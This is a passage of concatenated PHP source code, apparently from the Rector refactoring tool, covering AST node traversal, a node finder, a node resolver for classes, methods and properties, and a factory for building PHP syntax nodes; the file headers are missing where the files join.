UseUse) { continue; } if (!$originalUseUseNode->alias instanceof Identifier) { continue; } $alias = $originalUseUseNode->alias->toString(); if (\strncmp($shortAnnotationName, $alias, \strlen($alias)) !== 0) { continue; } $fullyQualifiedAnnotationName = $originalUseUseNode->name->toString() . \ltrim($shortAnnotationName, $alias); if ($fullyQualifiedAnnotationName !== $annotationToAttribute->getTag()) { continue; } $annotationParts = \explode('\\', $fullyQualifiedAnnotationName); $attributeParts = \explode('\\', $annotationToAttribute->getAttributeClass()); // requirement for matching single part rename if (\count($annotationParts) !== \count($attributeParts)) { continue; } // now we now we are matching correct contanct and old and new have the same number of parts $useImportPartCount = \substr_count($originalUseUseNode->name->toString(), '\\') + 1; $newAttributeImportPart = \array_slice($attributeParts, 0, $useImportPartCount); $newAttributeImport = \implode('\\', $newAttributeImportPart); $shortNamePartCount = \count($attributeParts) - $useImportPartCount; // +1, to remove the alias part $attributeParts = \array_slice($attributeParts, -$shortNamePartCount); $shortAttributeName = $alias . '\\' . \implode('\\', $attributeParts); return new UseAliasMetadata($shortAttributeName, $newAttributeImport, $useUse); } } return null; } } shortAttributeName = $shortAttributeName; $this->useImportName = $useImportName; $this->useUse = $useUse; } public function getShortAttributeName() : string { return $this->shortAttributeName; } public function getUseImportName() : string { return $this->useImportName; } public function getUseUse() : UseUse { return $this->useUse; } } addVisitor($callableNodeVisitor); $nodes = $node instanceof Node ? [$node] : $node; $nodeTraverser->traverse($nodes); } } */ private $nodesToReturn = []; /** * @param callable(Node $node): (int|Node|null|Node[]) $callable */ public function __construct(callable $callable) { $this->callable = $callable; } /** * @return int|\PhpParser\Node|null */ public function enterNode(Node $node) { $originalNode = $node; $callable = $this->callable; /** @var int|Node|null|Node[] $newNode */ $newNode = $callable($node); if ($newNode === NodeTraverser::REMOVE_NODE) { $this->nodeIdToRemove = \spl_object_id($originalNode); return $originalNode; } if (\is_array($newNode)) { $nodeId = \spl_object_id($node); $this->nodesToReturn[$nodeId] = $newNode; return $node; } if ($originalNode instanceof Stmt && $newNode instanceof Expr) { return new Expression($newNode); } return $newNode; } /** * @return int|Node|Node[] */ public function leaveNode(Node $node) { if ($this->nodeIdToRemove !== null && $this->nodeIdToRemove === \spl_object_id($node)) { $this->nodeIdToRemove = null; return NodeTraverser::REMOVE_NODE; } if ($this->nodesToReturn === []) { return $node; } return $this->nodesToReturn[\spl_object_id($node)] ?? $node; } } phpDocNodeVisitors[] = $phpDocNodeVisitor; } public function traverse(Node $node) : void { foreach ($this->phpDocNodeVisitors as $phpDocNodeVisitor) { $phpDocNodeVisitor->beforeTraverse($node); } $node = $this->traverseNode($node); foreach ($this->phpDocNodeVisitors as $phpDocNodeVisitor) { $phpDocNodeVisitor->afterTraverse($node); } } /** * @param callable(Node $node): (int|null|Node) $callable */ public function traverseWithCallable(Node $node, string $docContent, callable $callable) : void { $callablePhpDocNodeVisitor = new CallablePhpDocNodeVisitor($callable, $docContent); $this->addPhpDocNodeVisitor($callablePhpDocNodeVisitor); $this->traverse($node); } /** * @template TNode of Node * @param TNode $node * @return TNode */ private function traverseNode(Node $node) : Node { $objectPublicPropertiesToValues = \get_object_vars($node); $subNodeNames = \array_keys($objectPublicPropertiesToValues); foreach ($subNodeNames as $subNodeName) { $subNode =& $node->{$subNodeName}; if (\is_array($subNode)) { $subNode = $this->traverseArray($subNode); } elseif ($subNode instanceof Node) { $breakVisitorIndex = null; $traverseChildren = \true; foreach ($this->phpDocNodeVisitors as $visitorIndex => $phpDocNodeVisitor) { $return = $phpDocNodeVisitor->enterNode($subNode); if ($return !== null) { if ($return instanceof Node) { $subNode = $return; } elseif ($return === self::DONT_TRAVERSE_CHILDREN) { $traverseChildren = \false; } elseif ($return === self::DONT_TRAVERSE_CURRENT_AND_CHILDREN) { $traverseChildren = \false; $breakVisitorIndex = $visitorIndex; break; } elseif ($return === self::STOP_TRAVERSAL) { $this->stopTraversal = \true; } elseif ($return === self::NODE_REMOVE) { $subNode = null; continue 2; } else { throw new InvalidTraverseException('enterNode() returned invalid value of type ' . \gettype($return)); } } } if ($traverseChildren) { $subNode = $this->traverseNode($subNode); if ($this->stopTraversal) { break; } } foreach ($this->phpDocNodeVisitors as $visitorIndex => $phpDocNodeVisitor) { $phpDocNodeVisitor->leaveNode($subNode); if ($breakVisitorIndex === $visitorIndex) { break; } } } } return $node; } /** * @param array $nodes * @return array */ private function traverseArray(array $nodes) : array { foreach ($nodes as $key => &$node) { // can be string or something else if (!$node instanceof Node) { continue; } $traverseChildren = \true; $breakVisitorIndex = null; foreach ($this->phpDocNodeVisitors as $visitorIndex => $phpDocNodeVisitor) { $return = $phpDocNodeVisitor->enterNode($node); if ($return !== null) { if ($return instanceof Node) { $node = $return; } elseif ($return === self::DONT_TRAVERSE_CHILDREN) { $traverseChildren = \false; } elseif ($return === self::DONT_TRAVERSE_CURRENT_AND_CHILDREN) { $traverseChildren = \false; $breakVisitorIndex = $visitorIndex; break; } elseif ($return === self::STOP_TRAVERSAL) { $this->stopTraversal = \true; } elseif ($return === self::NODE_REMOVE) { // remove node unset($nodes[$key]); continue 2; } else { throw new InvalidTraverseException('enterNode() returned invalid value of type ' . \gettype($return)); } } } // should traverse node childrens properties? if ($traverseChildren) { $node = $this->traverseNode($node); if ($this->stopTraversal) { break; } } foreach ($this->phpDocNodeVisitors as $visitorIndex => $phpDocNodeVisitor) { $return = $phpDocNodeVisitor->leaveNode($node); if ($return !== null) { if ($return instanceof Node) { $node = $return; } elseif (\is_array($return)) { $doNodes[] = [$key, $return]; break; } elseif ($return === self::NODE_REMOVE) { $doNodes[] = [$key, []]; break; } elseif ($return === self::STOP_TRAVERSAL) { $this->stopTraversal = \true; break 2; } else { throw new InvalidTraverseException('leaveNode() returned invalid value of type ' . \gettype($return)); } } if ($breakVisitorIndex === $visitorIndex) { break; } } } return $nodes; } } docContent = $docContent; $this->callable = $callable; } /** * @return int|\PHPStan\PhpDocParser\Ast\Node|null */ public function enterNode(Node $node) { $callable = $this->callable; return $callable($node, $this->docContent); } } hasAttribute(PhpDocAttributeKey::ORIG_NODE)) { $clonedNode->setAttribute(PhpDocAttributeKey::ORIG_NODE, $node); } return $clonedNode; } } stack = [$node]; } public function enterNode(Node $node) : Node { if ($this->stack !== []) { $parentNode = $this->stack[\count($this->stack) - 1]; $node->setAttribute(PhpDocAttributeKey::PARENT, $parentNode); } $this->stack[] = $node; return $node; } /** * @return null|int|\PhpParser\Node|Node[] Replacement node (or special return */ public function leaveNode(Node $node) { \array_pop($this->stack); return null; } } parser = $parser; } /** * @return Stmt[] */ public function parseFile(string $file) : array { return $this->parser->parseFile($file); } /** * @return Stmt[] */ public function parseString(string $sourceCode) : array { return $this->parser->parseString($sourceCode); } } createNativePhpParser(); $cachedParser = $this->createPHPStanParser($nativePhpParser); return new \Rector\PhpDocParser\PhpParser\SmartPhpParser($cachedParser); } private function createNativePhpParser() : Parser { $parserFactory = new ParserFactory(); $lexerEmulative = new Emulative(['usedAttributes' => ['comments', 'startLine', 'endLine', 'startTokenPos', 'endTokenPos']]); return $parserFactory->create(ParserFactory::PREFER_PHP7, $lexerEmulative); } private function createPHPStanParser(Parser $parser) : CachedParser { $nameResolver = new NameResolver(); $simpleParser = new SimpleParser($parser, $nameResolver); return new CachedParser($simpleParser, 1024); } } */ private $parsedFileNodes = []; public function __construct(SmartPhpParser $smartPhpParser, NodeScopeAndMetadataDecorator $nodeScopeAndMetadataDecorator, NodeNameResolver $nodeNameResolver, ReflectionProvider $reflectionProvider, NodeTypeResolver $nodeTypeResolver, MethodReflectionResolver $methodReflectionResolver, BetterNodeFinder $betterNodeFinder) { $this->smartPhpParser = $smartPhpParser; $this->nodeScopeAndMetadataDecorator = $nodeScopeAndMetadataDecorator; $this->nodeNameResolver = $nodeNameResolver; $this->reflectionProvider = $reflectionProvider; $this->nodeTypeResolver = $nodeTypeResolver; $this->methodReflectionResolver = $methodReflectionResolver; $this->betterNodeFinder = $betterNodeFinder; } /** * @api downgrade * @return \PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Trait_|\PhpParser\Node\Stmt\Interface_|\PhpParser\Node\Stmt\Enum_|null */ public function resolveClassFromName(string $className) { if (!$this->reflectionProvider->hasClass($className)) { return null; } $classReflection = $this->reflectionProvider->getClass($className); return $this->resolveClassFromClassReflection($classReflection); } public function resolveClassMethodFromMethodReflection(MethodReflection $methodReflection) : ?ClassMethod { $classReflection = $methodReflection->getDeclaringClass(); $fileName = $classReflection->getFileName(); $nodes = $this->parseFileNameToDecoratedNodes($fileName); $classLikeName = $classReflection->getName(); $methodName = $methodReflection->getName(); /** @var ClassMethod|null $classMethod */ $classMethod = null; $this->betterNodeFinder->findFirst($nodes, function (Node $node) use($classLikeName, $methodName, &$classMethod) : bool { if (!$node instanceof ClassLike) { return \false; } if (!$this->nodeNameResolver->isName($node, $classLikeName)) { return \false; } $method = $node->getMethod($methodName); if ($method instanceof ClassMethod) { $classMethod = $method; return \true; } return \false; }); return $classMethod; } /** * @param \PhpParser\Node\Expr\FuncCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\MethodCall $call * @return \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|null */ public function resolveClassMethodOrFunctionFromCall($call, Scope $scope) { if ($call instanceof FuncCall) { return $this->resolveFunctionFromFuncCall($call, $scope); } return $this->resolveClassMethodFromCall($call); } public function resolveFunctionFromFunctionReflection(FunctionReflection $functionReflection) : ?Function_ { if (!$functionReflection instanceof PhpFunctionReflection) { return null; } $fileName = $functionReflection->getFileName(); $nodes = $this->parseFileNameToDecoratedNodes($fileName); $functionName = $functionReflection->getName(); /** @var Function_|null $functionNode */ $functionNode = $this->betterNodeFinder->findFirst($nodes, function (Node $node) use($functionName) : bool { if (!$node instanceof Function_) { return \false; } return $this->nodeNameResolver->isName($node, $functionName); }); return $functionNode; } /** * @param class-string $className */ public function resolveClassMethod(string $className, string $methodName) : ?ClassMethod { $methodReflection = $this->methodReflectionResolver->resolveMethodReflection($className, $methodName, null); if (!$methodReflection instanceof MethodReflection) { return null; } $classMethod = $this->resolveClassMethodFromMethodReflection($methodReflection); if (!$classMethod instanceof ClassMethod) { return $this->locateClassMethodInTrait($methodName, $methodReflection); } return $classMethod; } /** * @param \PhpParser\Node\Expr\MethodCall|\PhpParser\Node\Expr\StaticCall|\PhpParser\Node\Expr\NullsafeMethodCall $call */ public function resolveClassMethodFromCall($call) : ?ClassMethod { $callerStaticType = $call instanceof MethodCall || $call instanceof NullsafeMethodCall ? $this->nodeTypeResolver->getType($call->var) : $this->nodeTypeResolver->getType($call->class); if (!$callerStaticType instanceof TypeWithClassName) { return null; } $methodName = $this->nodeNameResolver->getName($call->name); if ($methodName === null) { return null; } return $this->resolveClassMethod($callerStaticType->getClassName(), $methodName); } /** * @return \PhpParser\Node\Stmt\Trait_|\PhpParser\Node\Stmt\Class_|\PhpParser\Node\Stmt\Interface_|\PhpParser\Node\Stmt\Enum_|null */ public function resolveClassFromClassReflection(ClassReflection $classReflection) { if ($classReflection->isBuiltin()) { return null; } $fileName = $classReflection->getFileName(); $stmts = $this->parseFileNameToDecoratedNodes($fileName); $className = $classReflection->getName(); /** @var Class_|Trait_|Interface_|Enum_|null $classLike */ $classLike = $this->betterNodeFinder->findFirst($stmts, function (Node $node) use($className) : bool { if (!$node instanceof ClassLike) { return \false; } return $this->nodeNameResolver->isName($node, $className); }); return $classLike; } /** * @return Trait_[] */ public function parseClassReflectionTraits(ClassReflection $classReflection) : array { /** @var ClassReflection[] $classLikes */ $classLikes = $classReflection->getTraits(\true); $traits = []; foreach ($classLikes as $classLike) { $fileName = $classLike->getFileName(); $nodes = $this->parseFileNameToDecoratedNodes($fileName); $traitName = $classLike->getName(); $traitNode = $this->betterNodeFinder->findFirst($nodes, function (Node $node) use($traitName) : bool { if (!$node instanceof Trait_) { return \false; } return $this->nodeNameResolver->isName($node, $traitName); }); if (!$traitNode instanceof Trait_) { continue; } $traits[] = $traitNode; } return $traits; } /** * @return \PhpParser\Node\Stmt\Property|\PhpParser\Node\Param|null */ public function resolvePropertyFromPropertyReflection(PhpPropertyReflection $phpPropertyReflection) { $classReflection = $phpPropertyReflection->getDeclaringClass(); $fileName = $classReflection->getFileName(); $nodes = $this->parseFileNameToDecoratedNodes($fileName); if ($nodes === []) { return null; } $nativeReflectionProperty = $phpPropertyReflection->getNativeReflection(); $desiredClassName = $classReflection->getName(); $desiredPropertyName = $nativeReflectionProperty->getName(); $propertyNode = null; $this->betterNodeFinder->findFirst($nodes, function (Node $node) use($desiredClassName, $desiredPropertyName, &$propertyNode) : bool { if (!$node instanceof ClassLike) { return \false; } if (!$this->nodeNameResolver->isName($node, $desiredClassName)) { return \false; } $property = $node->getProperty($desiredPropertyName); if ($property instanceof Property) { $propertyNode = $property; return \true; } return \false; }); if ($propertyNode instanceof Property) { return $propertyNode; } // promoted property return $this->findPromotedPropertyByName($nodes, $desiredClassName, $desiredPropertyName); } /** * @return Stmt[] */ public function parseFileNameToDecoratedNodes(?string $fileName) : array { // probably native PHP → un-parseable if ($fileName === null) { return []; } if (isset($this->parsedFileNodes[$fileName])) { return $this->parsedFileNodes[$fileName]; } try { $stmts = $this->smartPhpParser->parseFile($fileName); } catch (Throwable $throwable) { /** * phpstan.phar contains jetbrains/phpstorm-stubs which the code is not downgraded * that if read from lower php < 8.1 may cause crash * * @see https://github.com/rectorphp/rector/issues/8193 on php 8.0 * @see https://github.com/rectorphp/rector/issues/8145 on php 7.4 */ if (\strpos($fileName, 'phpstan.phar') !== \false) { return []; } throw $throwable; } return $this->parsedFileNodes[$fileName] = $this->nodeScopeAndMetadataDecorator->decorateNodesFromFile($fileName, $stmts); } private function locateClassMethodInTrait(string $methodName, MethodReflection $methodReflection) : ?ClassMethod { $classReflection = $methodReflection->getDeclaringClass(); $traits = $this->parseClassReflectionTraits($classReflection); /** @var ClassMethod|null $classMethod */ $classMethod = $this->betterNodeFinder->findFirst($traits, function (Node $node) use($methodName) : bool { if (!$node instanceof ClassMethod) { return \false; } return $this->nodeNameResolver->isName($node, $methodName); }); return $classMethod; } /** * @param Stmt[] $stmts */ private function findPromotedPropertyByName(array $stmts, string $desiredClassName, string $desiredPropertyName) : ?Param { /** @var Param|null $paramNode */ $paramNode = null; $this->betterNodeFinder->findFirst($stmts, function (Node $node) use($desiredClassName, $desiredPropertyName, &$paramNode) : bool { if (!$node instanceof Class_) { return \false; } if (!$this->nodeNameResolver->isName($node, $desiredClassName)) { return \false; } $constructClassMethod = $node->getMethod(MethodName::CONSTRUCT); if (!$constructClassMethod instanceof ClassMethod) { return \false; } foreach ($constructClassMethod->getParams() as $param) { if ($param->flags === 0) { continue; } if ($this->nodeNameResolver->isName($param, $desiredPropertyName)) { $paramNode = $param; return \true; } } return \false; }); return $paramNode; } private function resolveFunctionFromFuncCall(FuncCall $funcCall, Scope $scope) : ?Function_ { if ($funcCall->name instanceof Expr) { return null; } if (!$this->reflectionProvider->hasFunction($funcCall->name, $scope)) { return null; } $functionReflection = $this->reflectionProvider->getFunction($funcCall->name, $scope); return $this->resolveFunctionFromFunctionReflection($functionReflection); } } commentRemover = $commentRemover; $this->betterStandardPrinter = $betterStandardPrinter; } /** * Removes all comments from both nodes * @param Node|Node[]|null $node */ public function printWithoutComments($node) : string { $node = $this->commentRemover->removeFromNode($node); $content = $this->betterStandardPrinter->print($node); return \trim($content); } /** * @param Node|Node[]|null $firstNode * @param Node|Node[]|null $secondNode */ public function areNodesEqual($firstNode, $secondNode) : bool { if ($firstNode instanceof Node && !$secondNode instanceof Node) { return \false; } if (!$firstNode instanceof Node && $secondNode instanceof Node) { return \false; } if (\is_array($firstNode) && !\is_array($secondNode)) { return \false; } if (!\is_array($secondNode)) { return $this->printWithoutComments($firstNode) === $this->printWithoutComments($secondNode); } if (\is_array($firstNode)) { return $this->printWithoutComments($firstNode) === $this->printWithoutComments($secondNode); } return \false; } /** * @api * @param Node[] $availableNodes */ public function isNodeEqual(Node $singleNode, array $availableNodes) : bool { foreach ($availableNodes as $availableNode) { if ($this->areNodesEqual($singleNode, $availableNode)) { return \true; } } return \false; } /** * Checks even clone nodes */ public function areSameNode(Node $firstNode, Node $secondNode) : bool { if ($firstNode === $secondNode) { return \true; } $firstClass = \get_class($firstNode); $secondClass = \get_class($secondNode); if ($firstClass !== $secondClass) { return \false; } if ($firstNode->getStartTokenPos() !== $secondNode->getStartTokenPos()) { return \false; } if ($firstNode->getEndTokenPos() !== $secondNode->getEndTokenPos()) { return \false; } $printFirstNode = $this->betterStandardPrinter->print($firstNode); $printSecondNode = $this->betterStandardPrinter->print($secondNode); return $printFirstNode === $printSecondNode; } } , class-string> */ private const BINARY_OP_TO_INVERSE_CLASSES = [Identical::class => NotIdentical::class, NotIdentical::class => Identical::class, Equal::class => NotEqual::class, NotEqual::class => Equal::class, Greater::class => SmallerOrEqual::class, Smaller::class => GreaterOrEqual::class, GreaterOrEqual::class => Smaller::class, SmallerOrEqual::class => Greater::class]; /** * @var array, class-string> */ private const ASSIGN_OP_TO_BINARY_OP_CLASSES = [AssignBitwiseOr::class => BitwiseOr::class, AssignBitwiseAnd::class => BitwiseAnd::class, AssignBitwiseXor::class => BitwiseXor::class, AssignPlus::class => Plus::class, AssignDiv::class => Div::class, AssignMul::class => Mul::class, AssignMinus::class => Minus::class, AssignConcat::class => Concat::class, AssignPow::class => Pow::class, AssignMod::class => Mod::class, AssignShiftLeft::class => ShiftLeft::class, AssignShiftRight::class => ShiftRight::class]; /** * @var array, class-string> */ private $binaryOpToAssignClasses = []; public function __construct(NodeTypeResolver $nodeTypeResolver) { $this->nodeTypeResolver = $nodeTypeResolver; /** @var array, class-string> $binaryClassesToAssignOp */ $binaryClassesToAssignOp = \array_flip(self::ASSIGN_OP_TO_BINARY_OP_CLASSES); $this->binaryOpToAssignClasses = $binaryClassesToAssignOp; } /** * @return class-string|null */ public function getAlternative(Node $node) : ?string { $nodeClass = \get_class($node); if ($node instanceof AssignOp) { return self::ASSIGN_OP_TO_BINARY_OP_CLASSES[$nodeClass] ?? null; } if ($node instanceof BinaryOp) { return $this->binaryOpToAssignClasses[$nodeClass] ?? null; } return null; } /** * @return class-string|null */ public function getInversed(BinaryOp $binaryOp) : ?string { $nodeClass = \get_class($binaryOp); return self::BINARY_OP_TO_INVERSE_CLASSES[$nodeClass] ?? null; } public function getTruthyExpr(Expr $expr) : Expr { if ($expr instanceof Bool_) { return $expr; } if ($expr instanceof BooleanNot) { return $expr; } $exprType = $this->nodeTypeResolver->getType($expr); // $type = $scope->getType($expr); if ($exprType->isBoolean()->yes()) { return $expr; } return new Bool_($expr); } } nodeFinder = $nodeFinder; $this->nodeNameResolver = $nodeNameResolver; $this->classAnalyzer = $classAnalyzer; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } /** * @template T of Node * @param array> $types * @param Node|Node[]|Stmt[] $nodes * @return T[] */ public function findInstancesOf($nodes, array $types) : array { $foundInstances = []; foreach ($types as $type) { $currentFoundInstances = $this->findInstanceOf($nodes, $type); $foundInstances = \array_merge($foundInstances, $currentFoundInstances); } return $foundInstances; } /** * @template T of Node * @param class-string $type * @param Node|Node[]|Stmt[] $nodes * @return T[] */ public function findInstanceOf($nodes, string $type) : array { return $this->nodeFinder->findInstanceOf($nodes, $type); } /** * @template T of Node * @param class-string $type * @param Node|Node[] $nodes * * @return T|null */ public function findFirstInstanceOf($nodes, string $type) : ?Node { Assert::isAOf($type, Node::class); return $this->nodeFinder->findFirstInstanceOf($nodes, $type); } /** * @param class-string $type * @param Node[] $nodes */ public function hasInstanceOfName(array $nodes, string $type, string $name) : bool { Assert::isAOf($type, Node::class); return (bool) $this->findInstanceOfName($nodes, $type, $name); } /** * @param Node[] $nodes */ public function hasVariableOfName(array $nodes, string $name) : bool { return $this->findVariableOfName($nodes, $name) instanceof Node; } /** * @api * @param Node|Node[] $nodes * @return Variable|null */ public function findVariableOfName($nodes, string $name) : ?Node { return $this->findInstanceOfName($nodes, Variable::class, $name); } /** * @param Node|Node[] $nodes * @param array> $types */ public function hasInstancesOf($nodes, array $types) : bool { Assert::allIsAOf($types, Node::class); foreach ($types as $type) { $foundNode = $this->nodeFinder->findFirstInstanceOf($nodes, $type); if (!$foundNode instanceof Node) { continue; } return \true; } return \false; } /** * @param Node|Node[] $nodes * @param callable(Node $node): bool $filter * @return Node[] */ public function find($nodes, callable $filter) : array { return $this->nodeFinder->find($nodes, $filter); } /** * @api symfony * @param Node[] $nodes * @return Class_|null */ public function findFirstNonAnonymousClass(array $nodes) : ?Node { // skip anonymous classes return $this->findFirst($nodes, function (Node $node) : bool { return $node instanceof Class_ && !$this->classAnalyzer->isAnonymousClass($node); }); } /** * @param Node|Node[] $nodes * @param callable(Node $filter): bool $filter */ public function findFirst($nodes, callable $filter) : ?Node { return $this->nodeFinder->findFirst($nodes, $filter); } /** * @template T of Node * @param array>|class-string $types * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function hasInstancesOfInFunctionLikeScoped($functionLike, $types) : bool { if (\is_string($types)) { $types = [$types]; } $isFoundNode = \false; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $functionLike->stmts, static function (Node $subNode) use($types, &$isFoundNode) : ?int { if ($subNode instanceof Class_ || $subNode instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } foreach ($types as $type) { if ($subNode instanceof $type) { $isFoundNode = \true; return NodeTraverser::STOP_TRAVERSAL; } } return null; }); return $isFoundNode; } /** * @return Return_[] * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function findReturnsScoped($functionLike) : array { $returns = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable((array) $functionLike->stmts, function (Node $subNode) use(&$returns) : ?int { if ($subNode instanceof Class_ || $subNode instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if ($subNode instanceof Yield_ || $subNode instanceof YieldFrom) { $returns = []; return NodeTraverser::STOP_TRAVERSAL; } if ($subNode instanceof Return_) { $returns[] = $subNode; } return null; }); Assert::allIsInstanceOf($returns, Return_::class); return $returns; } /** * @api to be used * * @template T of Node * @param Node[] $nodes * @param class-string|array> $types * @return T[] */ public function findInstancesOfScoped(array $nodes, $types) : array { // here verify only pass single nodes as FunctionLike if (\count($nodes) === 1 && $nodes[0] instanceof FunctionLike) { $nodes = (array) $nodes[0]->getStmts(); } if (\is_string($types)) { $types = [$types]; } /** @var T[] $foundNodes */ $foundNodes = []; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($nodes, static function (Node $subNode) use($types, &$foundNodes) : ?int { if ($subNode instanceof Class_ || $subNode instanceof FunctionLike) { return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } foreach ($types as $type) { if ($subNode instanceof $type) { $foundNodes[] = $subNode; return null; } } return null; }); return $foundNodes; } /** * @template T of Node * @param array>|class-string $types * @return array * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function findInstancesOfInFunctionLikeScoped($functionLike, $types) : array { return $this->findInstancesOfScoped([$functionLike], $types); } /** * @param callable(Node $node): bool $filter * @param \PhpParser\Node\Stmt\ClassMethod|\PhpParser\Node\Stmt\Function_|\PhpParser\Node\Expr\Closure $functionLike */ public function findFirstInFunctionLikeScoped($functionLike, callable $filter) : ?Node { if ($functionLike->stmts === null) { return null; } $foundNode = $this->findFirst($functionLike->stmts, $filter); if (!$foundNode instanceof Node) { return null; } if (!$this->hasInstancesOf($functionLike->stmts, [Class_::class, FunctionLike::class])) { return $foundNode; } $scopedNode = null; $this->simpleCallableNodeTraverser->traverseNodesWithCallable($functionLike->stmts, function (Node $subNode) use(&$scopedNode, $foundNode, $filter) : ?int { if ($subNode instanceof Class_ || $subNode instanceof FunctionLike) { if ($foundNode instanceof $subNode && $subNode === $foundNode) { $scopedNode = $subNode; return NodeTraverser::STOP_TRAVERSAL; } return NodeTraverser::DONT_TRAVERSE_CURRENT_AND_CHILDREN; } if (!$foundNode instanceof $subNode) { return null; } // handle after Closure // @see https://github.com/rectorphp/rector-src/pull/4931 $scopedFoundNode = $this->findFirst($subNode, $filter); if ($scopedFoundNode === $subNode) { $scopedNode = $subNode; return NodeTraverser::STOP_TRAVERSAL; } return null; }); return $scopedNode; } /** * @template T of Node * @param Node|Node[] $nodes * @param class-string $type */ private function findInstanceOfName($nodes, string $type, string $name) : ?Node { Assert::isAOf($type, Node::class); return $this->nodeFinder->findFirst($nodes, function (Node $node) use($type, $name) : bool { return $node instanceof $type && $this->nodeNameResolver->isName($node, $name); }); } } stmts = $stmts; parent::__construct(); } public function getType() : string { return 'FileWithoutNamespace'; } /** * @return string[] */ public function getSubNodeNames() : array { return ['stmts']; } } builderFactory = $builderFactory; $this->phpDocInfoFactory = $phpDocInfoFactory; $this->staticTypeMapper = $staticTypeMapper; $this->propertyTypeDecorator = $propertyTypeDecorator; $this->simpleCallableNodeTraverser = $simpleCallableNodeTraverser; } /** * @param string|ObjectReference::* $className * Creates "\SomeClass::CONSTANT" */ public function createClassConstFetch(string $className, string $constantName) : ClassConstFetch { $name = $this->createName($className); return $this->createClassConstFetchFromName($name, $constantName); } /** * @param string|ObjectReference::* $className * Creates "\SomeClass::class" */ public function createClassConstReference(string $className) : ClassConstFetch { return $this->createClassConstFetch($className, 'class'); } /** * Creates "['item', $variable]" * * @param mixed[] $items */ public function createArray(array $items) : Array_ { $arrayItems = []; $defaultKey = 0; foreach ($items as $key => $item) { $customKey = $key !== $defaultKey ? $key : null; $arrayItems[] = $this->createArrayItem($item, $customKey); ++$defaultKey; } return new Array_($arrayItems); } /** * Creates "($args)" * * @param mixed[] $values * @return Arg[] */ public function createArgs(array $values) : array { return $this->builderFactory->args($values); } /** * Creates $this->property = $property; */ public function createPropertyAssignment(string $propertyName) : Assign { $variable = new Variable($propertyName); return $this->createPropertyAssignmentWithExpr($propertyName, $variable); } /** * @api */ public function createPropertyAssignmentWithExpr(string $propertyName, Expr $expr) : Assign { $propertyFetch = $this->createPropertyFetch(self::THIS, $propertyName); return new Assign($propertyFetch, $expr); } /** * @param mixed $argument */ public function createArg($argument) : Arg { return new Arg(BuilderHelpers::normalizeValue($argument)); } public function createPublicMethod(string $name) : ClassMethod { $method = new Method($name); $method->makePublic(); return $method->getNode(); } public function createParamFromNameAndType(string $name, ?Type $type) : Param { $param = new ParamBuilder($name); if ($type instanceof Type) { $typeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($type, TypeKind::PARAM); if ($typeNode instanceof Node) { $param->setType($typeNode); } } return $param->getNode(); } public function createPrivatePropertyFromNameAndType(string $name, ?Type $type) : Property { $propertyBuilder = new PropertyBuilder($name); $propertyBuilder->makePrivate(); $property = $propertyBuilder->getNode(); $this->propertyTypeDecorator->decorate($property, $type); return $property; } /** * @api symfony * @param mixed[] $arguments */ public function createLocalMethodCall(string $method, array $arguments = []) : MethodCall { $variable = new Variable('this'); return $this->createMethodCall($variable, $method, $arguments); } /** * @param mixed[] $arguments * @param \PhpParser\Node\Expr|string $exprOrVariableName */ public function createMethodCall($exprOrVariableName, string $method, array $arguments = []) : MethodCall { $callerExpr = $this->createMethodCaller($exprOrVariableName); return $this->builderFactory->methodCall($callerExpr, $method, $arguments); } /** * @param string|\PhpParser\Node\Expr $variableNameOrExpr */ public function createPropertyFetch($variableNameOrExpr, string $property) : PropertyFetch { $fetcherExpr = \is_string($variableNameOrExpr) ? new Variable($variableNameOrExpr) : $variableNameOrExpr; return $this->builderFactory->propertyFetch($fetcherExpr, $property); } /** * @api doctrine */ public function createPrivateProperty(string $name) : Property { $propertyBuilder = new PropertyBuilder($name); $propertyBuilder->makePrivate(); $property = $propertyBuilder->getNode(); $this->phpDocInfoFactory->createFromNode($property); return $property; } /** * @param Expr[] $exprs */ public function createConcat(array $exprs) : ?Concat { if (\count($exprs) < 2) { return null; } $previousConcat = \array_shift($exprs); foreach ($exprs as $expr) { $previousConcat = new Concat($previousConcat, $expr); } if (!$previousConcat instanceof Concat) { throw new ShouldNotHappenException(); } return $previousConcat; } /** * @param string|ObjectReference::* $class * @param Node[] $args */ public function createStaticCall(string $class, string $method, array $args = []) : StaticCall { $name = $this->createName($class); $args = $this->createArgs($args); return new StaticCall($name, $method, $args); } /** * @param mixed[] $arguments */ public function createFuncCall(string $name, array $arguments = []) : FuncCall { $arguments = $this->createArgs($arguments); return new FuncCall(new Name($name), $arguments); } public function createSelfFetchConstant(string $constantName) : ClassConstFetch { $name = new Name(ObjectReference::SELF); return new ClassConstFetch($name, $constantName); } public function createNull() : ConstFetch { return new ConstFetch(new Name('null')); } public function createPromotedPropertyParam(PropertyMetadata $propertyMetadata) : Param { $paramBuilder = new ParamBuilder($propertyMetadata->getName()); $propertyType = $propertyMetadata->getType(); if ($propertyType instanceof Type) { $typeNode = $this->staticTypeMapper->mapPHPStanTypeToPhpParserNode($propertyType, TypeKind::PROPERTY); if ($typeNode instanceof Node) { $paramBuilder->setType($typeNode); } } $param = $paramBuilder->getNode(); $propertyFlags = $propertyMetadata->getFlags(); $param->flags = $propertyFlags !== 0 ? $propertyFlags : Class_::MODIFIER_PRIVATE; return $param; } public function createFalse() : ConstFetch { return new ConstFetch(new Name('false')); } public function createTrue() : ConstFetch { return new ConstFetch(new Name('true')); } /** * @api phpunit * @param string|ObjectReference::* $constantName */ public function createClassConstFetchFromName(Name $className, string $constantName) : ClassConstFetch { return 